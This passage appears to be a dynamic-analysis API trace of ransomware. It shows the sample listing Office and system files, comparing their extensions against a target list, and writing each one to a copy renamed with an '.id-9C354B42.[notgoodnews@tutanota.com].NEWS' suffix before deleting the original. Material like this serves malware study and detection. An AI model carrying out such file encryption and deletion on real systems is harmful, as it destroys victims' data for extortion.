(lpString1=".rar", lpString2=".GIF") returned 1 [0072.816] lstrlenW (lpString=".bz2") returned 4 [0072.816] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0072.816] lstrlenW (lpString=".7z") returned 3 [0072.816] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0072.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0072.816] lstrlenW (lpString=".dbf") returned 4 [0072.816] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0072.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0072.816] lstrlenW (lpString=".1cd") returned 4 [0072.816] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0072.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0072.816] lstrlenW (lpString=".jpg") returned 4 [0072.816] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0072.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0072.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0072.816] lstrlenW (lpString=".doc") returned 4 [0072.817] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0072.817] lstrlenW (lpString=".docx") returned 5 [0072.817] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0072.817] lstrlenW (lpString=".pdf") returned 4 [0072.817] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0072.817] lstrlenW (lpString=".xls") returned 4 [0072.817] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0072.817] lstrlenW (lpString=".xlsx") returned 5 [0072.817] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0072.817] lstrlenW (lpString=".ppt") returned 4 [0072.817] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0072.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0072.817] lstrlenW (lpString=".zip") returned 4 [0072.817] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0072.817] lstrlenW (lpString=".rar") returned 4 [0072.817] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0072.817] lstrlenW (lpString=".bz2") returned 4 [0072.817] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0072.817] lstrlenW (lpString=".7z") returned 3 [0072.817] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0072.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0072.818] lstrlenW (lpString=".dbf") returned 4 [0072.818] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0072.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0072.818] lstrlenW (lpString=".1cd") returned 4 [0072.818] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0072.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0072.818] lstrlenW (lpString=".jpg") returned 4 [0072.818] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0072.818] lstrcmpiW (lpString1=".PNG", lpString2=".NEWS") returned 1 [0072.818] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0072.818] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0072.819] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=37440) returned 1 [0072.819] CloseHandle (hObject=0x208) returned 1 [0072.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png")) returned 0x20 [0072.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0072.820] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0072.820] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0072.820] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0072.820] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0072.821] GetLastError () returned 0x0 [0072.821] ReadFile (in: hFile=0x208, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x9240, lpOverlapped=0x0) returned 1 [0072.824] WriteFile (in: hFile=0x170, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0x9250, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x9250, lpOverlapped=0x0) returned 1 [0072.827] ReadFile (in: hFile=0x208, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0072.827] WriteFile (in: hFile=0x170, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0072.827] SetEndOfFile (hFile=0x170) returned 1 [0072.827] CloseHandle (hObject=0x170) returned 1 [0072.828] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0072.828] SetEndOfFile (hFile=0x208) returned 1 [0072.829] CloseHandle (hObject=0x208) returned 1 [0072.829] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0072.830] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png")) returned 1 [0072.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0072.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0072.830] lstrlenW (lpString=".doc") returned 4 [0072.830] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0072.830] lstrlenW (lpString=".docx") returned 5 [0072.830] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0072.830] lstrlenW (lpString=".pdf") returned 4 [0072.830] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0072.830] lstrlenW (lpString=".xls") returned 4 [0072.830] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0072.831] lstrlenW (lpString=".xlsx") returned 5 [0072.831] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0072.831] lstrlenW (lpString=".ppt") returned 4 [0072.831] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0072.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0072.831] lstrlenW (lpString=".zip") returned 4 [0072.831] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0072.831] lstrlenW (lpString=".rar") returned 4 [0072.831] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0072.831] lstrlenW (lpString=".bz2") returned 4 [0072.831] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0072.831] lstrlenW (lpString=".7z") returned 3 [0072.831] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0072.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0072.831] lstrlenW (lpString=".dbf") returned 4 [0072.831] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0072.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0072.831] lstrlenW (lpString=".1cd") returned 4 [0072.831] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0072.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0072.831] lstrlenW (lpString=".jpg") returned 4 [0072.831] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0072.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0072.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0072.832] lstrlenW (lpString=".doc") returned 4 [0072.832] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0072.832] lstrlenW (lpString=".docx") returned 5 [0072.832] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0072.832] lstrlenW (lpString=".pdf") returned 4 [0072.832] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0072.832] lstrlenW (lpString=".xls") returned 4 [0072.832] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0072.832] lstrlenW (lpString=".xlsx") returned 5 [0072.832] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0072.832] lstrlenW (lpString=".ppt") returned 4 [0072.832] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0072.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0072.832] lstrlenW (lpString=".zip") returned 4 [0072.832] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0072.832] lstrlenW (lpString=".rar") returned 4 [0072.832] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0072.832] lstrlenW (lpString=".bz2") returned 4 [0072.833] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0072.833] lstrlenW (lpString=".7z") returned 3 [0072.833] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0072.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0072.833] lstrlenW (lpString=".dbf") returned 4 [0072.833] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0072.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0072.833] lstrlenW (lpString=".1cd") returned 4 [0072.833] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0072.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0072.833] lstrlenW (lpString=".jpg") returned 4 [0072.833] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0072.833] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0072.833] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0072.833] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0072.834] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=1593) returned 1 [0072.834] CloseHandle (hObject=0x208) returned 1 [0072.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif")) returned 0x20 [0072.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0072.834] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0072.834] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0072.834] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0072.835] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 12 os_tid = 0xb60 [0043.660] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x35d0048 [0043.661] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x35e0050 [0043.662] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x610a80 [0043.662] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x6) returned 0x61a268 [0043.662] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x610a98 [0043.662] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x100000) returned 0x36d0020 [0043.662] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x610ab0 [0043.662] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x610ab0, Size=0x20) returned 0x5f5c28 [0043.662] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x610ab0 [0043.662] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x610ab0, Size=0x20) returned 0x5f5d68 [0043.663] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0043.663] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0043.663] Wow64DisableWow64FsRedirection (in: OldValue=0x2d9ff58 | out: OldValue=0x2d9ff58*=0x0) returned 1 [0043.663] lstrlenW (lpString="kernel32.dll") returned 12 [0043.663] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5c28 | out: hHeap=0x5c0000) returned 1 [0043.663] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0043.663] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5d68 | out: hHeap=0x5c0000) returned 1 [0043.664] Sleep (dwMilliseconds=0x64) [0043.894] Sleep (dwMilliseconds=0x64) [0044.243] Sleep (dwMilliseconds=0x64) [0044.507] Sleep (dwMilliseconds=0x64) [0044.930] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0044.932] lstrlenW (lpString="Setup.xml") returned 9 [0044.932] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0045.155] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=2296) returned 1 [0045.155] CloseHandle (hObject=0x198) returned 1 [0045.156] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0045.156] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0045.156] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0045.156] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.156] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.156] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0045.156] GetLastError () returned 0x0 [0045.156] ReadFile (in: hFile=0x198, lpBuffer=0x36d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesRead=0x2d9fed4*=0x8f8, lpOverlapped=0x0) returned 1 [0045.221] WriteFile (in: hFile=0x160, lpBuffer=0x36d0020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x900, lpOverlapped=0x0) returned 1 [0045.222] ReadFile (in: hFile=0x198, lpBuffer=0x36d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.222] WriteFile (in: hFile=0x160, lpBuffer=0x36d0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0045.222] SetEndOfFile (hFile=0x160) returned 1 [0045.223] CloseHandle (hObject=0x160) returned 1 [0045.224] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.224] SetEndOfFile (hFile=0x198) returned 1 [0045.226] CloseHandle (hObject=0x198) returned 1 [0045.226] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0045.226] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0045.227] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.227] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.227] lstrlenW (lpString=".doc") returned 4 [0045.227] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.227] lstrlenW (lpString=".docx") returned 5 [0045.227] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0045.227] lstrlenW (lpString=".pdf") returned 4 [0045.227] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.227] lstrlenW (lpString=".xls") returned 4 [0045.227] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.227] lstrlenW (lpString=".xlsx") returned 5 [0045.227] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0045.227] lstrlenW (lpString=".ppt") returned 4 [0045.227] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.227] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.227] lstrlenW (lpString=".zip") returned 4 [0045.227] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.227] lstrlenW (lpString=".rar") returned 4 [0045.227] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.227] lstrlenW (lpString=".bz2") returned 4 [0045.228] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.228] lstrlenW (lpString=".7z") returned 3 [0045.228] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.228] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.228] lstrlenW (lpString=".dbf") returned 4 [0045.228] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.228] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.228] lstrlenW (lpString=".1cd") returned 4 [0045.228] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.228] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.228] lstrlenW (lpString=".jpg") returned 4 [0045.228] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.228] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.228] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.228] lstrlenW (lpString=".doc") returned 4 [0045.228] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.228] lstrlenW (lpString=".docx") returned 5 [0045.228] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0045.228] lstrlenW (lpString=".pdf") returned 4 [0045.228] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.228] lstrlenW (lpString=".xls") returned 4 [0045.228] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.229] lstrlenW (lpString=".xlsx") returned 5 [0045.229] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0045.229] lstrlenW (lpString=".ppt") returned 4 [0045.229] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.229] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.229] lstrlenW (lpString=".zip") returned 4 [0045.229] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.229] lstrlenW (lpString=".rar") returned 4 [0045.229] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.229] lstrlenW (lpString=".bz2") returned 4 [0045.229] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.229] lstrlenW (lpString=".7z") returned 3 [0045.229] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.229] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.229] lstrlenW (lpString=".dbf") returned 4 [0045.229] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.229] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.229] lstrlenW (lpString=".1cd") returned 4 [0045.229] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.229] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.229] lstrlenW (lpString=".jpg") returned 4 [0045.229] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.230] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0045.230] lstrlenW (lpString="OutlookMUI.xml") returned 14 [0045.230] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0045.231] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=3186) returned 1 [0045.231] CloseHandle (hObject=0x198) returned 1 [0045.232] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml")) returned 0x2020 [0045.232] GetFileAttributesW (lpFileName="C:\\MSOCache\\All 